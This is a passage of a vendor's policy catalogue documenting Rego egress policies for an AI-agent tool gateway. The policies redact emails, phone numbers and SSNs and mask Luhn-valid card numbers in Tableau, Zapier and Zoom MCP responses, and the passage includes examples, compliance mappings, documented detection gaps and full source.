**CCPA/CPRA §1798.121** — supports limiting use/disclosure of sensitive PI (SSN); **§1798.150** — reduces nonredacted-PI breach exposure. This family also aligns with **ISO/IEC 27001 A.8.11 (data masking)** and **A.8.12 (data leakage prevention)** on the MCP read path. ## Tool name matching Applies on the output path (`input.mode == "output"`) to the data-returning Tableau web-server tools, matched case-insensitively **by suffix** on `input.resource.name` with `input.tool_metadata.name` as a fallback. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `tableau-query-datasource`), and that prefix is not standardized — suffix matching keeps the policy portable. All five names are **verified** from the landscape research (Tableau `tableau/tableau-mcp` source, v2.24.x): - **`-query-datasource`** — VizQL Data Service query → row-level data. - **`-get-view-data`** — CSV of a view's underlying data. - **`-get-custom-view-data`** — CSV of a custom view's underlying data. - **`-generate-pulse-insight-brief`** — Pulse KPI narrative brief. - **`-generate-pulse-metric-value-insight-bundle`** — Pulse metric-value insight bundle. The `-get-view-data` suffix does **not** collide with `-get-custom-view-data` (their tails differ: `...custom-view-data` never ends in `-get-view-data`), so each tool matches exactly one entry. Deliberately **out of scope:** `-get-view-image` / `-get-custom-view-image` return **PNG** renders that text redaction cannot parse — masking pixels is impossible, so those surfaces are denied at ingress by the companion `fence-datasource-scope` policy rather than handled here. Catalog/metadata tools (`list-datasources`, `get-view`, `search-content`) and admin-insights tools do not carry row-level warehouse data and are not in scope. Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each **string** block (including string blocks containing serialized JSON or CSV row data, since the regexes run over the serialized text). Non-string blocks pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. ## Examples ### Redacted + masked (in-scope tool, non-analyst caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "tableau-query-datasource", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["support"] } }, "payload": { "name": "tableau-query-datasource", "text": ["cust 42,jane@acme.com,206-555-0100,4111 1111 1111 1111"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["cust 42,[REDACTED-EMAIL],[REDACTED-PHONE],411111******1111"]`. ### Passed through (exempt group) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "tableau-get-view-data", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["data-analysts"] } }, "payload": { "name": "tableau-get-view-data", "text": ["cust 42,jane@acme.com,4111111111111111"] } } } ``` `allow = true`, no `transform` — the `data-analysts` group receives raw content. ## Composition One policy, one job. This transform-only policy (`default allow := true`) composes cleanly on the same egress pipeline as deny/transform companions for `apps/tableau`: - **`fence-datasource-scope` (ingress)** — denies `-get-view-image` / `-get-custom-view-image` for non-analyst groups (those PNG surfaces cannot be text-redacted) and enforces the per-group `datasourceLuid` allowlist on `-query-datasource`. This egress redaction and that ingress fence are the two halves of the same control; attach both. - A **`default-deny-unknown-tools` (PF-28) ingress allowlist** — the hosted `mcp.tableau.com` server ships new tools automatically as the inventory drifts forward, so a default-deny allowlist stops a newly-added (unredacted) result tool from silently reaching the agent. - A **`cap-bulk-export` (PF-08) ingress guard** that clamps the query `limit`, bounding the blast radius of any redaction miss. ## Known limitations - **Images are not covered here — by design.** `-get-view-image` / `-get-custom-view-image` return PNGs that carry the same data as pixels, invisible to text-based redaction. They must be denied at ingress (`fence-datasource-scope`); this policy cannot mask them. - **Luhn-valid non-card numbers are masked too.** The Luhn check eliminates most row counts, timestamps, and IDs, but some non-card identifiers (certain IMEIs and other checksummed numbers) are Luhn-valid and will be masked to BIN+last4. Such false positives usually stay recognizable. - **National-ID detection is US-SSN-shaped only.** Only the canonical hyphenated `XXX-XX-XXXX` form is matched; bare 9-digit runs collide with row IDs and are deliberately not matched, and non-US national-ID formats (NINO, SIN, Aadhaar, etc.) are not detected. Add patterns for your jurisdiction if needed. - **Word-boundary residuals (red-team).** SSN, phone, and PAN patterns are `\b`-anchored. A value with an extra digit or letter glued on with no delimiter escapes: `123-45-67890` (trailing digit), `id00123-45-6789` (leading digits), `206-555-01000` (phone trailing digit), and a PAN fused to a word character (`acct_4111111111111111`) all pass through. Loosening the anchors would emit partial redactions that still leak a digit, or partially mask long identifiers — a deliberate trade-off. - **Digit-glued PAN residual (red-team).** An unseparated PAN with an extra *digit* glued directly on — `41111111111111110` (trailing 0), `94111111111111111` (leading 9) — forms a 17-digit run that the `\d{13,19}` shape matches as a whole, fails the Luhn check on all 17 digits, and is therefore left unmasked, leaking the embedded card. This is the unseparated analogue of grouped shadowing: masking only the embedded 16-digit window would mean partially masking an arbitrary long identifier, which the length+Luhn gate deliberately avoids. A 20+-digit run still never matches (no internal `\b`), so only runs that land inside the 13–19 range are affected. - **Obfuscation residuals.** Values split across cells/lines/content blocks, dot- or space-separated SSNs (`123.45.6789`), PANs with separators other than space/dash, spelled-out numbers, base64, and full-width/Unicode digits are not caught (RE2 `\d` is ASCII-only). Adjacent grouped digit windows can shadow a grouped PAN (`1234 5678 4111 1111 1111 1111`); an unseparated PAN with an extra digit glued on is likewise shadowed (see the digit-glued PAN residual above). Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **The email pattern can over-match connection strings.** A `user:password@host.example.com` substring in a returned DSN matches the email shape and is redacted — over-redaction (safe) on egress, never disclosure. - **Structured (non-string) content blocks and non-array `text` are not processed — fail-open.** The policy scans and rewrites only string entries of `input.payload.text`, and only when `text` is a JSON array. A PAN/PII value carried inside a native JSON *object* block, or a `payload.text` delivered as a bare string, passes through untouched. In the DTwo egress shape observed to date, tool output arrives as an array of *string* blocks and serialized JSON inside a string block **is** scanned; confirm your gateway delivers string blocks with the dump-input technique before relying on this. - **Official web server only — Tableau Next is not covered (red-team).** The five in-scope suffixes are all from the official `tableau/tableau-mcp` web server. The separate **Tableau Next** product (Salesforce-hosted, `analytics/tableau-next`) exposes disjoint **snake_case** tools — `analyze_data` returns a PII-laden natural-language answer over a semantic model, `list_dashboards`/`get_visualization`/etc. — none of which end in any in-scope suffix, so this policy emits no transform and their results reach the agent unredacted. A customer can plausibly run both products at once, so if your gateway fronts Tableau Next, attach a **separate** egress redaction policy scoped to those snake_case names (`-analyze_data`, `-get_visualization`, `-get_dashboard`); this policy will not protect them. Likewise the admin-insights tools (`query-admin-insights-ts-events`, `…-site-content`, `…-job-performance`) carry user-activity PII rather than warehouse rows and are intentionally left to the ingress admin-insights lockdown, not redacted here. - **Egress masking only.** The full PAN/PII still exists in the warehouse and the Tableau UI; this policy controls only what the *agent* sees on the MCP path. - **Group names are placeholders — replace `data-analysts` with your IdP's group name at import time.** The exemption reads `input.subject.claims.groups` and requires it to be an array of strings (a single bare string is also handled), and matches group names **case-insensitively** (`Data-Analysts` matches `data-analysts`) — which slightly widens the grant, so pick a placeholder that will not collide with another group under case folding; every other shape (object, number, null, missing) fails closed to redacted output. Never rely on stripped ContextForge-internal claims (`is_admin`, `teams`, `user`) for the exemption. Confirm your IdP emits a `groups` claim for your tenant before relying on the exemption. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package tableau.egress.redact_pii_query_results # Transform-only egress policy: rewrites email, US phone, and hyphenated # SSN/national-ID patterns to fixed redaction tokens and masks Luhn-valid # cardholder PANs to BIN+last4 in the row/CSV/narrative content returned by the # data-returning Tableau tools, before the response reaches the agent. Never # denies — a legitimate query still succeeds, just with sensitive values masked. # Callers in the placeholder `data-analysts` IdP group receive unredacted, # unmasked responses; the group check fails closed, so a caller with missing or # malformed claims gets over-redaction, never disclosure. Image tools # (-get-view-image / -get-custom-view-image) are out of scope — PNG pixels # cannot be text-redacted and are denied at ingress by fence-datasource-scope. default allow := true # ----------------------------------------------------------------------------- # Scope: the data-returning Tableau web-server tools. The gateway prefixes tool # names with the configured MCP server name (not standardised), so we match by # suffix, case-insensitively. All five suffixes are verified wire names from the # Tableau tableau/tableau-mcp source. `-get-view-data` does not collide with # `-get-custom-view-data` (their tails differ), so each tool matches exactly one. # ----------------------------------------------------------------------------- pii_result_suffixes := { # VizQL Data Service query -> row-level data "-query-datasource", # CSV of a view's underlying data "-get-view-data", # CSV of a custom view's underlying data "-get-custom-view-data", # Pulse KPI narrative brief "-generate-pulse-insight-brief", # Pulse metric-value insight bundle "-generate-pulse-metric-value-insight-bundle", } is_pii_result_tool if { input.mode == "output" some suffix in pii_result_suffixes endswith(lower(object.get(object.get(input, "resource", {}), "name", "")), suffix) } is_pii_result_tool if { # Egress hooks also expose the tool name under tool_metadata.name — check # both so we match regardless of which surface the gateway populates. input.mode == "output" some suffix in pii_result_suffixes meta := object.get(input, "tool_metadata", {}) endswith(lower(object.get(meta, "name", "")), suffix) } # ----------------------------------------------------------------------------- # Group exemption — placeholder IdP group whose members receive unredacted # responses. Replace "data-analysts" with your IdP's group name at import time. # object.get chains + the is_array guard mean a missing subject/claims/groups # claim, or a groups claim shaped as anything other than an array, is never # exempt: the grant fails closed and redaction applies. A single bare-string # groups claim is also accepted (some IdPs emit one group as a string). # ----------------------------------------------------------------------------- exempt_groups := {"data-analysts"} caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) is_exempt if { is_array(caller_groups) some g in caller_groups lower(g) in exempt_groups } is_exempt if { is_string(caller_groups) lower(caller_groups) in exempt_groups } # ----------------------------------------------------------------------------- # PII detection patterns — anchored and conservative to limit false positives on # free-text warehouse columns. # ----------------------------------------------------------------------------- # US SSN / national-ID in the canonical hyphenated form only. Bare 9-digit runs # collide with row IDs and sequence values, so they are deliberately not matched. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # Email addresses, word-boundary anchored: local part, "@", domain, TLD of at # least two letters. Conservative TLD class keeps it from firing on stray "@". email_pattern := `\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b` # Separator-formatted US phone numbers (e.g. 206-555-0100, (206) 555-0100, # (206)555-0100, +1 206.555.0100). Bare 10-digit runs are deliberately not # matched. The separator after a parenthesized area code is optional (so # `(206)555-0100` with no space still matches), but the bare `\b\d{3}` branch # still requires a separator so an unformatted 10-digit run is not caught. The # 3-3-4 grouping is disjoint from the SSN 3-2-4 grouping, so the two never collide. phone_pattern := `(?:\+?1[-. ])?(?:\(\d{3}\)[-. ]?|\b\d{3}[-. ])\d{3}[-. ]\d{4}\b` # ----------------------------------------------------------------------------- # PAN candidate shapes — anchored with \b so digit runs inside longer # identifiers are never partially matched. Every candidate must also pass the # Luhn check below before it is masked. # ----------------------------------------------------------------------------- pan_pattern := concat("|", [ # 16-digit PANs grouped 4-4-4-4 with space or dash separators # (Visa / Mastercard / Discover print format, e.g. 4111 1111 1111 1111). `\b\d{4}[ -]\d{4}[ -]\d{4}[ -]\d{4}\b`, # 15-digit American Express PANs grouped 4-6-5, 34/37 IIN (e.g. 3782 822463 10005). `\b3[47]\d{2}[ -]\d{6}[ -]\d{5}\b`, # Unseparated 13-19 digit runs — the ISO/IEC 7812 PAN length range. Runs of # 20+ digits never match: there is no word boundary inside a digit run, so # this cannot partially mask a longer identifier. `\b\d{13,19}\b`, ]) # ----------------------------------------------------------------------------- # Luhn check — filters card-shaped candidates so timestamps, order numbers, row # counts, and other digit runs that merely look like PANs are left alone. # ----------------------------------------------------------------------------- digits_only(s) := regex.replace(s, `[^0-9]`, "") luhn_contribution(d, parity) := d if { parity == 0 } luhn_contribution(d, parity) := 2 * d if { parity == 1 (2 * d) < 10 } luhn_contribution(d, parity) := (2 * d) - 9 if { parity == 1 (2 * d) >= 10 } luhn_valid(digits) if { chars := split(digits, "") n := count(chars) total := sum([v | some i, c in chars v := luhn_contribution(to_number(c), (n - 1 - i) % 2) ]) total % 10 == 0 } # All card-shaped substrings of t that pass the Luhn check. pan_candidates(t) := {c | some c in regex.find_n(pan_pattern, t, -1) luhn_valid(digits_only(c)) } # Mask a PAN to BIN+last4: first six digits (issuer BIN) and last four kept, # every digit between replaced with `*`; separators dropped. mask_pan(c) := masked if { d := digits_only(c) n := count(d) masked := concat("", [ substring(d, 0, 6), regex.replace(substring(d, 6, n - 10), `\d`, "*"), substring(d, n - 4, 4), ]) } # Rewrite every Luhn-valid PAN in a string to its masked form; unchanged if none. mask_pans(t) := out if { replacements := {c: mask_pan(c) | some c in pan_candidates(t)} count(replacements) > 0 out := strings.replace_n(replacements, t) } mask_pans(t) := t if { count(pan_candidates(t)) == 0 } # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. # ----------------------------------------------------------------------------- redact_ssn(t) := regex.replace(t, ssn_pattern, "[REDACTED-SSN]") redact_phone(t) := regex.replace(t, phone_pattern, "[REDACTED-PHONE]") redact_email(t) := regex.replace(t, email_pattern, "[REDACTED-EMAIL]") # Order: PANs masked first (their masked form has no hyphen/separator/"@", so no # later step re-matches it), then SSN (3-2-4), phones (3-3-4, disjoint from SSN), # then emails (contain "@"). The redaction tokens contain no digits-with- # separators or "@", so no step re-matches a token emitted by an earlier step. redact_block(b) := redact_email(redact_phone(redact_ssn(mask_pans(b)))) if { is_string(b) } # Non-string content blocks (structured blocks) pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, the caller is not exempt, and at least # one block actually changed. Otherwise the rule is undefined and the aggregator # skips this policy, returning the response byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_pii_result_tool not is_exempt is_array(text_blocks) redacted_blocks != text_blocks } ``` ### Zapier: Mask Card Numbers in Read Responses URL: https://www.intentbasedpolicy.com/policies/zapier/mask-pan-egress App(s): zapier | Direction: egress | Bundles: soc2, pci-dss, gdpr-ccpa | Package: zapier.egress.mask_pan | Published: 2026-07-12 | Tags: zapier, mask-pan-egress, egress, cardholder-data, dlp, soc2, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/zapier/mask-pan-egress/policy.md # zapier / mask-pan-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `zapier.egress.mask_pan` ## What it does Masks payment-card numbers (PANs) in Zapier MCP read responses before they reach the agent. Zapier is an aggregator: one connector proxies reads across 9,000+ apps, including finance-adjacent ones (QuickBooks, Stripe, NetSuite) whose records routinely carry card numbers — and the aggregator applies **no source-app DLP**, so an `execute_zapier_read_action` response or a classic-mode `*_find_*` / `*_get_*` response can deliver a full PAN straight into the agent's context. This policy Luhn-validates every 13–19-digit card-shaped sequence in the response text and rewrites each match to **BIN-plus-last4**: the first six digits (the issuer BIN) and last four are kept, and every digit in between becomes `*`, e.g. `4111 1111 1111 1111` → `411111******1111`. BIN+last4 is the maximum display format PCI DSS permits for personnel without a business need to see full PAN. All other response content is left intact. The policy never blocks a call. When at least one PAN is found, the response content blocks are rewritten via `transformed_payload`; when nothing matches, the transform rule is undefined and the response passes through byte-identical — non-matching reads are unaffected. Callers whose `input.subject.claims.groups` contains the documented placeholder group `pci-full-pan` receive unmasked responses. The exemption is fail-closed: a caller with no subject, no claims, no `groups` claim, or a malformed `groups` claim is never exempt and always gets masked output. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement of information: card numbers are reduced to BIN+last4 before the response leaves the gateway, so full PAN never moves into the agent's context or onward to any of the 9,000 apps the same Zapier connector can write to. - **PCI DSS 3.4.1** — supports masking of PAN when displayed: the Zapier agent channel shows at most BIN+last4, with full-PAN visibility limited to a defined role (`pci-full-pan`). - **PCI DSS 3.4.2** — supports preventing copy/relocation of PAN via remote-access technologies: an agent that only ever receives the masked form cannot re-post the full PAN into chat, tickets, files, or any of the 9,000 apps the same Zapier connector can write to. - **PCI DSS 12.5.2** — supports scope documentation/confirmation as a scope-creep backstop: the aggregator's read funnel is a classic path by which cardholder data silently expands PCI scope into agent context; masking at the gateway keeps that path out of scope by default. - **PCI DSS 12.10.7** — supports PAN-where-not-expected incident procedures: agent context fed by a general-purpose aggregator is a not-expected location, and the gateway's decision/transform audit events for this policy give the incident process a concrete trigger. - **CCPA/CPRA §1798.150** — supports reducing nonredacted-PI breach exposure: card numbers surfaced to agents through the Zapier funnel are masked by default. ## Tool name matching Zapier MCP runs in one of two mutually exclusive modes per server, with disjoint tool namespaces. This policy covers the read path of both, matching case-insensitively on `input.resource.name` after normalizing `_` to `-` so underscore (as Zapier publishes them) and hyphenated deliveries both match: - **Agentic mode (default):** the single read funnel `execute_zapier_read_action` (verified name), matched by suffix. Every enabled read action across every connected app returns through this one tool. - **Classic (manual-configuration) mode:** per-action tools named `_` where read actions use `find_` / `get_` verbs (e.g. `quickbooks_online_find_customer`, a verified example). Matched by the normalized name containing `-find-` or `-get-`. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `zapier-mcp-execute_zapier_read_action`), and that prefix is not standardized — suffix/substring matching keeps the policy portable. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. Two agentic-mode meta-tools, `get_configuration_url` and `get_zapier_skill`, incidentally match the `-get-` rule. That is harmless by construction: the policy is transform-only, and a Luhn-valid PAN inside stored skill text would be worth masking anyway. ## Patterns matched Conservative, anchored PAN shapes only — each pattern is commented in the Rego, and every candidate must also pass the Luhn check before it is masked, which keeps false positives (order IDs, phone numbers, invoice numbers, long identifiers) low: - 16-digit PANs grouped 4-4-4-4 with space or dash separators (Visa/Mastercard/Discover print format). - 15-digit American Express PANs grouped 4-6-5, constrained to the 34/37 IIN range. - Unseparated 13–19-digit runs (the ISO/IEC 7812 PAN length range). Runs of 20+ digits never match: there is no word boundary inside a digit run, so a longer identifier is never partially masked. ## Response shape Egress tool output arrives as content blocks in `input.payload.text` (an array; entries are typically strings of plain text or serialized JSON — Zapier read results are usually JSON records from the source app). The policy scans each string block, replaces every Luhn-valid match with its own BIN+last4 form, and emits `transform.transformed_payload` with the original payload's `text` replaced by the masked blocks. Because matching is string-level, PANs are masked wherever they appear in the serialized record — field values, nested objects, free-text notes — without parsing each source app's specific JSON shape. Non-string blocks pass through unmodified. ## Examples ### Transformed (masked) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "zapier-mcp-execute_zapier_read_action", "type": "tool" }, "payload": { "name": "zapier-mcp-execute_zapier_read_action", "text": ["{\"customer\":\"Acme\",\"card_on_file\":\"4111 1111 1111 1111\"}"] }, "subject": { "sub": "auth0|casey@acme.com", "claims": { "groups": ["support"] } } } } ``` `allow = true`; the agent sees `{"customer":"Acme","card_on_file":"411111******1111"}`. ### Allowed unmasked (exempt group) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "zapier-mcp-quickbooks_online_find_customer", "type": "tool" }, "payload": { "name": "zapier-mcp-quickbooks_online_find_customer", "text": ["card on file: 4111 1111 1111 1111"] }, "subject": { "sub": "auth0|pci-analyst@acme.com", "claims": { "groups": ["pci-full-pan"] } } } } ``` `allow = true`, no transform — the caller is in the `pci-full-pan` group. ### Passthrough (no PAN) A Luhn-invalid digit run (an order number, a tracking ID, an epoch timestamp) produces no transform; the response is returned byte-identical. ## Composition One policy, one job — this masks card numbers on the read path only. Useful companions for the Zapier connector: - [`freeze-toolset`](../freeze-toolset/policy.md) (ingress) stops the agent from enabling new Zapier actions mid-session — without it, the read surface this policy covers can silently grow. - An ingress app-blocklist policy on the `execute_zapier_*_action` funnel (PF-14 style) that denies finance apps outright for non-finance groups — this policy masks card data in the reads you do allow. - A PF-02-style PII redaction egress policy for SSNs, emails, and phone numbers — separate concern, separate exemption group. ## Known limitations - **Write-funnel responses are not scanned.** `execute_zapier_write_action` (and classic `*_send_*`/`*_create_*`/`*_update_*` tools) can echo the written record — including card fields — back in the response, and this policy does not cover them. Coverage is deliberately the read path per the family spec; if your enabled write actions echo cardholder data, attach a widened copy that also matches the write funnel. - **Classic-mode read tools without `find`/`get` verbs are missed.** The `find_`/`get_` verb convention comes from the landscape research and the verified example `quickbooks_online_find_customer`; classic-mode names are per-account, and most were **not verifiable from public docs**. If your server exposes read actions with other verbs (`search_`, `list_`, `lookup_`), add those shapes to the tool-matching rules. - **Zapier's own cloud logs are outside the gateway's reach.** The raw, unmasked response transits and is logged in Zapier's cloud (per-app OAuth happens Zapier-side); this policy controls only what reaches the agent on the MCP path. The full card number also still exists in the source app (QuickBooks, Stripe, NetSuite) itself. - **Luhn-valid non-card numbers are masked too.** The Luhn check eliminates most order IDs and timestamps, but some non-card identifiers (certain IMEIs and other checksummed numbers) are Luhn-valid and will be masked. The masked form keeps first-six/last-four, so such false positives usually stay recognizable. - **Obfuscated PANs are missed.** Card numbers with separators other than space/dash (dots, unicode spaces), split across lines or content blocks, spelled out in words, or base64-encoded do not match. Card numbers typed with non-ASCII digits (e.g. Unicode fullwidth `4111 1111 1111 1111`) also do not match: the RE2 `\d` class is ASCII-only. Grouped formats other than 4-4-4-4 and Amex 4-6-5 match only in their unseparated form. - **A PAN glued directly to a word character is missed.** Every pattern is `\b`-anchored, and the underscore counts as a word character in RE2, so a digit run immediately preceded or followed by a letter, digit, or underscore with no separator (e.g. `acct_4111111111111111` inside a serialized-JSON token value) has no word boundary and is not masked. This is the deliberate cost of the same `\b` anchoring that stops a 20+-digit identifier from being partially masked. Quote-, punctuation-, or whitespace-delimited PANs (the normal JSON field-value case) are unaffected. - **Structured (non-string) content blocks and non-array `text` are not masked — fail-open.** The policy scans and rewrites only string entries of `input.payload.text`, and only when `text` is a JSON array. A PAN carried inside a content block delivered as a JSON *object* (an MCP typed block `{"type":"text","text":"…"}`), or in a `payload.text` delivered as a bare string, passes through unmasked. In the DTwo egress shape observed to date tool output arrives as an array of *string* blocks, and serialized JSON inside a string block **is** scanned and masked. Confirm with the dump-input technique before relying on this against servers that emit typed content objects. - **Agentic read meta-tools other than the two `-get-` ones are not scanned.** Only `execute_zapier_read_action` (by suffix) and the incidental `-get-` matches `get_zapier_skill` / `get_configuration_url` are covered in agentic mode. The other agentic read tools — `list_zapier_skills`, `list_enabled_zapier_actions`, and `discover_zapier_actions` — contain neither `-find-` nor `-get-`, so they are **not** matched. A PAN embedded in stored skill text is masked when fetched via `get_zapier_skill` but **not** when the same text is returned by `list_zapier_skills`; likewise a PAN in an action catalog from `discover_zapier_actions`/`list_enabled_zapier_actions` passes through unmasked. These are action/skill-management surfaces, not the finance read funnel this policy targets, so the gap is by design — add those suffixes to the tool-matching rules if you need skill/catalog text masked too (weigh the over-masking of numeric action keys first). - **Tool names are partially unverified.** `execute_zapier_read_action` and the other agentic meta-tool names are verified from Zapier's docs; `quickbooks_online_find_customer` is a verified classic-mode example. All other classic-mode names — and the exact response envelope of the agentic funnel — are **unverified**; confirm against a live capture through the gateway before relying on this in production. - **Group names are placeholders** — replace `pci-full-pan` with your IdP's group name at import time. The exemption reads `input.subject.claims.groups` and requires it to be an **array** of strings; every other shape (string, object, number, null, or missing) fails closed to masked output. Confirm your IdP emits a `groups` claim as a string array for your tenant before relying on the exemption. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package zapier.egress.mask_pan # Transform-only policy — never denies, only masks Luhn-valid card numbers # in Zapier MCP read responses to BIN+last4. default allow := true # ----------------------------------------------------------------------------- # Tool matching — the Zapier read path across both server modes. The gateway # prefixes tool names with the configured MCP server name, so we match on # suffix/substring to stay portable. The incoming name is normalized `_` -> `-` # first so both `execute_zapier_read_action` (as Zapier publishes it) and a # hyphenated delivery match. # ----------------------------------------------------------------------------- normalized_name := replace(lower(input.resource.name), "_", "-") # Agentic mode (default): the single read funnel every enabled read action # returns through. Verified name from Zapier's MCP docs. is_zapier_read_tool if { endswith(normalized_name, "execute-zapier-read-action") } # Classic (manual-configuration) mode: per-action tools named _ # where read actions use find_/get_ verbs (verified example: # quickbooks_online_find_customer). Matched as a substring because the app # prefix is per-account. Also incidentally matches the get_configuration_url / # get_zapier_skill meta-tools — harmless, since the policy is transform-only. is_zapier_read_tool if { contains(normalized_name, "-find-") } is_zapier_read_tool if { contains(normalized_name, "-get-") } # ----------------------------------------------------------------------------- # PAN candidate shapes — anchored with \b word boundaries so digit runs inside # longer identifiers are never partially matched. Every candidate must also # pass the Luhn check below before it is masked. # ----------------------------------------------------------------------------- pan_pattern := concat("|", [ # 16-digit PANs grouped 4-4-4-4 with space or dash separators # (Visa / Mastercard / Discover print format, e.g. 4111 1111 1111 1111). `\b\d{4}[ -]\d{4}[ -]\d{4}[ -]\d{4}\b`, # 15-digit American Express PANs grouped 4-6-5 with space or dash # separators, constrained to the 34/37 IIN range (e.g. 3782 822463 10005). `\b3[47]\d{2}[ -]\d{6}[ -]\d{5}\b`, # Unseparated 13-19 digit runs — the ISO/IEC 7812 PAN length range. # Runs of 20+ digits never match: there is no word boundary inside a # digit run, so this cannot partially mask a longer identifier. `\b\d{13,19}\b`, ]) # ----------------------------------------------------------------------------- # Luhn check — filters card-shaped candidates so order numbers, timestamps, # and other digit runs that merely look like PANs are left alone. # ----------------------------------------------------------------------------- digits_only(s) := regex.replace(s, `[^0-9]`, "") luhn_contribution(d, parity) := d if { parity == 0 } luhn_contribution(d, parity) := 2 * d if { parity == 1 (2 * d) < 10 } luhn_contribution(d, parity) := (2 * d) - 9 if { parity == 1 (2 * d) >= 10 } luhn_valid(digits) if { chars := split(digits, "") n := count(chars) total := sum([v | some i, c in chars v := luhn_contribution(to_number(c), (n - 1 - i) % 2) ]) total % 10 == 0 } # All card-shaped substrings of t that pass the Luhn check. pan_candidates(t) := {c | some c in regex.find_n(pan_pattern, t, -1) luhn_valid(digits_only(c)) } # ----------------------------------------------------------------------------- # Masking — each match is rewritten to BIN+last4: first six digits (issuer # BIN) and last four kept, everything between masked with `*`. Separators are # dropped in the masked form (e.g. `4111 1111 1111 1111` -> `411111******1111`). # ----------------------------------------------------------------------------- mask_pan(c) := masked if { d := digits_only(c) n := count(d) masked := concat("", [ substring(d, 0, 6), # Replace every middle digit with `*` (RE2 has no repeat builtin, so we # mask the middle substring char-by-char instead of building a `*` run). regex.replace(substring(d, 6, n - 10), `\d`, "*"), substring(d, n - 4, 4), ]) } # Rewrite every Luhn-valid candidate in a string block to its masked form. mask_block(b) := out if { is_string(b) replacements := {c: mask_pan(c) | some c in pan_candidates(b)} count(replacements) > 0 out := strings.replace_n(replacements, b) } mask_block(b) := b if { is_string(b) count(pan_candidates(b)) == 0 } # Non-string content blocks (structured/JSON blocks) pass through unmodified. mask_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Full-PAN exemption — callers in the placeholder group see unmasked content. # Fail-closed: missing subject, missing claims, missing groups, or a malformed # groups claim all leave this rule undefined, so masking applies. The # is_array guard is load-bearing: without it a groups claim shaped as an # object (e.g. {"role":"pci-full-pan"}) would iterate its *values* and match, # granting the exemption to a caller who never held the group in an array. # Requiring an array keeps every non-array shape (string, object, number, # null) fail-closed. Replace "pci-full-pan" with your IdP's group name at # import time. # ----------------------------------------------------------------------------- caller_may_view_full_pan if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) is_array(groups) some group in groups group == "pci-full-pan" } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, the caller is not exempt, and at # least one block actually changed. Otherwise the rule is undefined and the # aggregator skips this policy, returning the response byte-identical. # ----------------------------------------------------------------------------- text_blocks := object.get(input.payload, "text", []) masked_blocks := [out | some block in text_blocks out := mask_block(block) ] transform := { "transformed_payload": object.union(input.payload, {"text": masked_blocks}), } if { input.mode == "output" is_zapier_read_tool not caller_may_view_full_pan is_array(text_blocks) masked_blocks != text_blocks } ``` ### Zoom: Redact PII in Meeting Intelligence URL: https://www.intentbasedpolicy.com/policies/zoom/redact-pii-meeting-intelligence App(s): zoom | Direction: egress | Bundles: hipaa, gdpr-ccpa, soc2 | Package: zoom.egress.redact_pii_meeting_intelligence | Published: 2026-07-12 | Tags: zoom, redact-pii, pii, dlp, redaction, egress, hipaa, gdpr-ccpa, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/zoom/redact-pii-meeting-intelligence/policy.md # zoom / redact-pii-meeting-intelligence **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `zoom.egress.redact_pii_meeting_intelligence` ## What it does Scans the responses of Zoom's meeting-intelligence read surfaces — AI summaries, verbatim transcripts, recording resources, and Zoom Docs content — and rewrites personally identifiable information to typed redaction placeholders before the response reaches the agent: | Class | Detection | Placeholder | |---|---|---| | Email address | conservative local-part `@` domain shape, word-boundary anchored | `[REDACTED_EMAIL]` | | US phone number | separator-formatted (e.g. `206-555-0100`, `(206) 555-0100`, `+1 206.555.0100`) | `[REDACTED_PHONE]` | | US SSN | hyphen- or space-separated 3-2-4 form (`XXX-XX-XXXX`, `XXX XX XXXX`) | `[REDACTED_SSN]` | Matches are replaced in place, leaving surrounding transcript flow, summary structure, and document text intact so the content remains usable to the agent. The policy is transform-only: it never denies a call, and responses with no matches (and all out-of-scope tools) pass through byte-identical. Every response field is read via `object.get`, so a missing or oddly-shaped payload is never an error — it simply passes through. Zoom transcripts and AI summaries are verbatim records of internal conversations. They routinely carry direct identifiers — attendee emails, callback numbers, and (in healthcare tenants) SSNs read aloud during intake — so masking them on the response path is the primary minimum-necessary control on the Zoom meeting-intelligence read surface. ### 